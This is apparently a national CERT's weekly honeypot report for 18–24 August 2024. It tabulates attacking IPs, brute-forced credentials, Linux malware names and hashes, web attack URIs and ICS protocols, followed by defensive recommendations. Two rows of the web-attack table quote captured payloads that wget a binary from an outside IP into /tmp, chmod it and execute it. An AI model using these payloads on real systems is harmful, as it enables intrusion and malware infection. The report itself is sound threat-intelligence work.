TZ-CERT HONEYPOTS WEEKLY REPORT
Period: 18th of August, 2024 to 24th of August, 2024
Report No.: TZ-CERT/WRHP/2024/35

1. NETWORK ATTACKS

A total of **212,075** attacks have been recorded compared to last week's **335,038** attacks within the period of this report. The top 10 Network attacks with malicious IPs, commonly used usernames and passwords are as in **table1** below:

SN	ATTACKING IPS	USERNAMES	PASSWORDS
1.	86.109.115.67	root	123456
2.	162.254.168.226	345gs5662d34	admin
3.	157.245.241.17	admin	3245gs5662d34
4.	14.161.253.60	test	root
5.	125.212.204.18	ftpuser	345gs5662d34
6.	14.241.236.82	oracle	qwertyuiop123
7.	149.28.203.19	uucp	password
8.	45.5.110.242	user1	1234567890
9.	117.247.227.45	oracle	broadguam1
10.	14.161.49.219	3comcso	eve

Table1: Top 10 Network attacking IP

Most of the usernames and passwords listed are commonly used, thus its advised review of usernames and passwords be made to avoid use of the above listed credentials and default ones. The use of password policies is the best practice.

2. MALICIOUS SOFTWARE (MALWARE)

During the week the sensors recorded, a total of **18,488** malicious software distributed, compared to last week in which was **43,901.**

Below listed are top ten malicious software and their hashes.

SN	ATTACKING IPS	MALICIOUS SOFTWARE	HASHES(SHA256)
1.	118.141.1.98	Linux/Agent.ACU!tr	5227b8afaa126098ebcafacc52466326d1a952b99e3e09f84746a087862fab7a
2.	196.221.89.87	ELF/Siggen.689!tr	020f1fa6072108c79ed6f553f4f8b08e157bf17f9c260a76353300230fed09f0
3.	102.97.9.69	ELF/Xorddos.D!tr	ea40ecec0b30982fbb1662e67f97f0e9d6f43d2d587f2f588525fae683abea73
4.	196.202.46.85	ELF/Xorddos.D!tr	e04f27a6276abc24b8fe6fb846c7e14bafcab0f785e9b5723333155d57261639

5.	45.148.10.251	HEUR:Trojan.Linux.Miner.gen	cfd7ad5fd929fbdef0af698ee1f7f1624ed46109a50125f7ab39b14bd84dfcac
6.	36.138.175.116	Trojan:Linux/Multiverze	ef1ef1954560b13d5c13e2142210d187bcfa9bb86690e0ff8d6de70bf5c8b4f7
7.	112.27.178.171	HEUR:Trojan-DDoS.Linux.Xorddos.gen	e92eaa9965b8a86c30a747608d7fc03162669968b4b9502f702556f34f478b64
8.	196.121.25.254	Trojan:Linux/CoinMiner	a44fa76de8b63c049582c5737f52b6fd110c9303727223a157c51ca65f46645f
9.	196.219.51.130	HEUR:Trojan.Linux.Miner.gen	062ba629c7b2b914b289c8da0573c179fe86f2cb1f70a31f9a1400d563c3042a
10.	118.99.118.180	HEUR:Trojan.Linux.Miner.gen	0098cfff9e6056e6cf9e1e34a798110a2b6b42fca27652eeabc5bbcbe11b6be2

Table2: Top 10 Malicious attacking IP

3. WEB ATTACKS

During the week the sensors recorded a total of **2,111** web attacks compared to last week which was **3,382.**

From the table below, the top 10 web-based attacks and their associated requests sent to web servers for the period between 18th of August, 2024 to 24th of August, 2024, are detailed. The requests are the payloads.

SN	ATTACKING IPS	TOP URI
1.	173.231.184.125	/
2.	185.224.128.74	/logon.htm
3.	66.249.64.105	/admin/config.php
4.	185.224.128.47	/robots.txt
5.	41.78.75.186	/.env
6.	66.249.64.106	/admin/config.php?password%5B0%5D=ZIZO&username=admin
7.	185.224.128.59	/shell?cd+/tmp;rm+-rf+j;nohup+wget+http:/\/154.216.18.196:88/j;chmod+777+j;./j
8.	45.148.10.251	/favicon.ico
9.	66.249.64.107	/shell?cd+/tmp;rm+earm+earm7;nohup+wget+http:/\/1

		54.216.18.196/earm7;chmod+777+earm7;./earm7+jaws;nohup+wget+http:/\/154.216.18.196/earm;chmod+777+earm;./earm+jaws
10.	95.214.55.138	/recordings/index.php

Table3: Top 10 web attacking IP

4. ICS (INDUSTRIAL CONTROL SYSTEMS) ATTACKS

During the week the sensors recorded a total of **1,828** ICS attacks compared to last week which was **2,557.**

From the table below these are the top 5 ICS attacks and their associated attacking IP, exploited protocols and exploited ports as detailed for the period between 18th of August, 2024 to 24th of August, 2024, are detailed

SN	ATTACKING IPS	TOP PROTOCOLS	TOP PORTS
1.	172.232.194.199	IEC104	2404
2.	172.232.203.225	kamstrup_management_protocol	50100
3.	172.232.203.99	guardian_ast	10001
4.	172.232.211.181	kamstrup_protocol	1025
5.	172.232.211.68	snmp	161

Table4: Top 5 ICS attacking IP

5. RECOMMENDATIONS

The Honeypot sensors have recorded IP addresses with the most common malware used in the world today. Monitoring of the listed IP address is advised and further to: -

5.1 Note that most of the malicious IP addresses captured are also listed as malicious IP addresses in other sources that are also observing security attacks; thus, security measures should be considered to counteract, including monitoring of the IPs in networks. Most likely the same resources might be used for further attacks.

5.2 Discourage usage of listed login resources (usernames and passwords) and consider deploying mechanisms to monitor login attempts.

5.3 Thoroughly check for suspicious files of hashes listed in **Table 2**.

5.4 Deploy Intrusion Detection System (IDS) and configure it to flag the detection of attacks associated with the list of resources provided especially the IP addresses and the web requests.